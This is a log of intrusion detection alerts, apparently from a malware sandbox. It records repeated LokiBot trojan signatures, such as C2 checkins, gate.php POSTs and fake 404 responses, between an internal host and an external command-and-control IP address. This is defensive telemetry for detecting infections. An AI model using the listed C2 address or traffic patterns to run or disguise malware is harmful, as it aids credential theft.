12/21/20-08:34:22.237977	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49264	185.193.143.118	192.168.2.22
12/21/20-08:34:22.498814	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49265	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.498814	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49265	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.498814	TCP	2025381	ET TROJAN LokiBot Checkin	49265	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.498814	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49265	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.498814	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49265	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.684316	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49265	185.193.143.118	192.168.2.22
12/21/20-08:34:22.936532	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49266	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.936532	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49266	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.936532	TCP	2025381	ET TROJAN LokiBot Checkin	49266	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.936532	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49266	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.936532	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49266	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.116629	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49266	185.193.143.118	192.168.2.22
12/21/20-08:34:23.377784	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49267	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.377784	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49267	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.377784	TCP	2025381	ET TROJAN LokiBot Checkin	49267	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.377784	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49267	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.377784	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49267	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.570331	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49267	185.193.143.118	192.168.2.22
12/21/20-08:34:23.832815	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49268	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.832815	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49268	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.832815	TCP	2025381	ET TROJAN LokiBot Checkin	49268	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.832815	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49268	80	192.168.2.22	185.193.143.118
12/21/20-08:34:23.832815	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49268	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.179902	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49268	185.193.143.118	192.168.2.22
12/21/20-08:34:24.436787	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49269	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.436787	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49269	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.436787	TCP	2025381	ET TROJAN LokiBot Checkin	49269	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.436787	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49269	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.436787	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49269	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.625038	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49269	185.193.143.118	192.168.2.22
12/21/20-08:34:24.899040	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49270	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.899040	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49270	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.899040	TCP	2025381	ET TROJAN LokiBot Checkin	49270	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.899040	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49270	80	192.168.2.22	185.193.143.118
12/21/20-08:34:24.899040	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49270	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.087898	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49270	185.193.143.118	192.168.2.22
12/21/20-08:34:25.357432	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49271	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.357432	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49271	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.357432	TCP	2025381	ET TROJAN LokiBot Checkin	49271	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.357432	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49271	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.357432	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49271	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.545368	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49271	185.193.143.118	192.168.2.22
12/21/20-08:34:25.805295	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49272	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.805295	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49272	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.805295	TCP	2025381	ET TROJAN LokiBot Checkin	49272	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.805295	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49272	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.805295	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49272	80	192.168.2.22	185.193.143.118
12/21/20-08:34:25.998563	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49272	185.193.143.118	192.168.2.22
12/21/20-08:34:26.254644	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49273	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.254644	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49273	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.254644	TCP	2025381	ET TROJAN LokiBot Checkin	49273	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.254644	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49273	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.254644	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49273	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.454014	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49273	185.193.143.118	192.168.2.22
12/21/20-08:34:26.704234	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49274	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.704234	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49274	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.704234	TCP	2025381	ET TROJAN LokiBot Checkin	49274	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.704234	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49274	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.704234	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49274	80	192.168.2.22	185.193.143.118
12/21/20-08:34:26.890527	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49274	185.193.143.118	192.168.2.22
12/21/20-08:34:27.150379	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49275	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.150379	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49275	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.150379	TCP	2025381	ET TROJAN LokiBot Checkin	49275	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.150379	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49275	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.150379	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49275	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.339108	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49275	185.193.143.118	192.168.2.22
12/21/20-08:34:27.608122	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49276	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.608122	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49276	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.608122	TCP	2025381	ET TROJAN LokiBot Checkin	49276	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.608122	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49276	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.608122	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49276	80	192.168.2.22	185.193.143.118
12/21/20-08:34:27.797706	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49276	185.193.143.118	192.168.2.22
12/21/20-08:34:28.088721	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49277	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.088721	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49277	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.088721	TCP	2025381	ET TROJAN LokiBot Checkin	49277	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.088721	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49277	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.088721	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49277	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.281017	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49277	185.193.143.118	192.168.2.22
12/21/20-08:34:28.539101	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49278	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.539101	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49278	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.539101	TCP	2025381	ET TROJAN LokiBot Checkin	49278	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.539101	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49278	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.539101	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49278	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.733897	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49278	185.193.143.118	192.168.2.22
12/21/20-08:34:28.979677	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49279	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.979677	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49279	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.979677	TCP	2025381	ET TROJAN LokiBot Checkin	49279	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.979677	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49279	80	192.168.2.22	185.193.143.118
12/21/20-08:34:28.979677	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49279	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.168517	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49279	185.193.143.118	192.168.2.22
12/21/20-08:34:29.425876	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49280	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.425876	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49280	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.425876	TCP	2025381	ET TROJAN LokiBot Checkin	49280	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.425876	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49280	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.425876	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49280	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.607997	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49280	185.193.143.118	192.168.2.22
12/21/20-08:34:29.858240	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49281	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.858240	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49281	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.858240	TCP	2025381	ET TROJAN LokiBot Checkin	49281	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.858240	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49281	80	192.168.2.22	185.193.143.118
12/21/20-08:34:29.858240	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49281	80	192.168.2.22	185.193.143.118
12/21/20-08:34:30.288894	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49281	185.193.143.118	192.168.2.22
12/21/20-08:34:30.558440	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49282	80	192.168.2.22	185.193.143.118
12/21/20-08:34:30.558440	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49282	80	192.168.2.22	185.193.143.118
12/21/20-08:34:30.558440	TCP	2025381	ET TROJAN LokiBot Checkin	49282	80	192.168.2.22	185.193.143.118
12/21/20-08:34:30.558440	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49282	80	192.168.2.22	185.193.143.118
12/21/20-08:34:30.558440	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49282	80	192.168.2.22	185.193.143.118
12/21/20-08:34:30.894018	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49282	185.193.143.118	192.168.2.22
12/21/20-08:34:31.178417	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49283	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.178417	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49283	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.178417	TCP	2025381	ET TROJAN LokiBot Checkin	49283	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.178417	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49283	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.178417	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49283	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.375860	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49283	185.193.143.118	192.168.2.22
12/21/20-08:34:31.619491	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49284	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.619491	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49284	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.619491	TCP	2025381	ET TROJAN LokiBot Checkin	49284	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.619491	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49284	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.619491	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49284	80	192.168.2.22	185.193.143.118
12/21/20-08:34:31.834973	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49284	185.193.143.118	192.168.2.22
12/21/20-08:34:32.089106	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49285	80	192.168.2.22	185.193.143.118
12/21/20-08:34:32.089106	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49285	80	192.168.2.22	185.193.143.118
12/21/20-08:34:32.089106	TCP	2025381	ET TROJAN LokiBot Checkin	49285	80	192.168.2.22	185.193.143.118
12/21/20-08:34:32.089106	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49285	80	192.168.2.22	185.193.143.118
12/21/20-08:34:32.089106	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49285	80	192.168.2.22	185.193.143.118
12/21/20-08:34:32.573481	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49285	185.193.143.118	192.168.2.22
12/21/20-08:34:32.827429	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49286	80	192.168.2.22	185.193.143.118
12/21/20-08:34:32.827429	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49286	80	192.168.2.22	185.193.143.118
12/21/20-08:34:32.827429	TCP	2025381	ET TROJAN LokiBot Checkin	49286	80	192.168.2.22	185.193.143.118
12/21/20-08:34:32.827429	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49286	80	192.168.2.22	185.193.143.118
12/21/20-08:34:32.827429	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49286	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.016666	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49286	185.193.143.118	192.168.2.22
12/21/20-08:34:33.287630	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49287	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.287630	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49287	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.287630	TCP	2025381	ET TROJAN LokiBot Checkin	49287	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.287630	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49287	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.287630	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49287	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.480140	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49287	185.193.143.118	192.168.2.22
12/21/20-08:34:33.749305	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49288	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.749305	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49288	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.749305	TCP	2025381	ET TROJAN LokiBot Checkin	49288	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.749305	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49288	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.749305	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49288	80	192.168.2.22	185.193.143.118
12/21/20-08:34:33.942081	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49288	185.193.143.118	192.168.2.22
12/21/20-08:34:34.328590	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49289	80	192.168.2.22	185.193.143.118
12/21/20-08:34:34.328590	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49289	80	192.168.2.22	185.193.143.118
12/21/20-08:34:34.328590	TCP	2025381	ET TROJAN LokiBot Checkin	49289	80	192.168.2.22	185.193.143.118
12/21/20-08:34:34.328590	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49289	80	192.168.2.22	185.193.143.118
12/21/20-08:34:34.328590	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49289	80	192.168.2.22	185.193.143.118
12/21/20-08:34:34.518873	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49289	185.193.143.118	192.168.2.22
12/21/20-08:34:35.213001	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49290	80	192.168.2.22	185.193.143.118
12/21/20-08:34:35.213001	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49290	80	192.168.2.22	185.193.143.118
12/21/20-08:34:35.213001	TCP	2025381	ET TROJAN LokiBot Checkin	49290	80	192.168.2.22	185.193.143.118
12/21/20-08:34:35.213001	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49290	80	192.168.2.22	185.193.143.118
12/21/20-08:34:35.213001	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49290	80	192.168.2.22	185.193.143.118
12/21/20-08:34:35.405753	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49290	185.193.143.118	192.168.2.22
12/21/20-08:34:35.946670	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49291	80	192.168.2.22	185.193.143.118
12/21/20-08:34:35.946670	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49291	80	192.168.2.22	185.193.143.118
12/21/20-08:34:35.946670	TCP	2025381	ET TROJAN LokiBot Checkin	49291	80	192.168.2.22	185.193.143.118
12/21/20-08:34:35.946670	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49291	80	192.168.2.22	185.193.143.118
12/21/20-08:34:35.946670	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49291	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.130556	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49291	185.193.143.118	192.168.2.22
12/21/20-08:34:36.385445	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49292	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.385445	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49292	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.385445	TCP	2025381	ET TROJAN LokiBot Checkin	49292	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.385445	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49292	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.385445	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49292	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.570178	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49292	185.193.143.118	192.168.2.22
12/21/20-08:34:36.835883	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49293	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.835883	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49293	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.835883	TCP	2025381	ET TROJAN LokiBot Checkin	49293	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.835883	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49293	80	192.168.2.22	185.193.143.118
12/21/20-08:34:36.835883	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49293	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.022112	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49293	185.193.143.118	192.168.2.22
12/21/20-08:34:37.281356	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49294	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.281356	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49294	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.281356	TCP	2025381	ET TROJAN LokiBot Checkin	49294	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.281356	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49294	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.281356	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49294	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.475840	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49294	185.193.143.118	192.168.2.22
12/21/20-08:34:37.759174	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49295	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.759174	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49295	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.759174	TCP	2025381	ET TROJAN LokiBot Checkin	49295	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.759174	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49295	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.759174	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49295	80	192.168.2.22	185.193.143.118
12/21/20-08:34:37.948973	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49295	185.193.143.118	192.168.2.22
12/21/20-08:34:38.210194	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49296	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.210194	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49296	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.210194	TCP	2025381	ET TROJAN LokiBot Checkin	49296	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.210194	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49296	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.210194	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49296	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.398350	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49296	185.193.143.118	192.168.2.22
12/21/20-08:34:38.671751	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49297	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.671751	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49297	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.671751	TCP	2025381	ET TROJAN LokiBot Checkin	49297	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.671751	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49297	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.671751	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49297	80	192.168.2.22	185.193.143.118
12/21/20-08:34:38.856241	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49297	185.193.143.118	192.168.2.22
12/21/20-08:34:39.105133	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49298	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.105133	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49298	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.105133	TCP	2025381	ET TROJAN LokiBot Checkin	49298	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.105133	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49298	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.105133	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49298	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.286987	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49298	185.193.143.118	192.168.2.22
12/21/20-08:34:39.556085	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49299	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.556085	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49299	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.556085	TCP	2025381	ET TROJAN LokiBot Checkin	49299	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.556085	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49299	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.556085	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49299	80	192.168.2.22	185.193.143.118
12/21/20-08:34:39.755602	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49299	185.193.143.118	192.168.2.22
12/21/20-08:34:40.016911	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49300	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.016911	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49300	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.016911	TCP	2025381	ET TROJAN LokiBot Checkin	49300	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.016911	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49300	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.016911	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49300	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.205010	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49300	185.193.143.118	192.168.2.22
12/21/20-08:34:40.489842	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49301	80	192.168.2.22	185.193.143.118
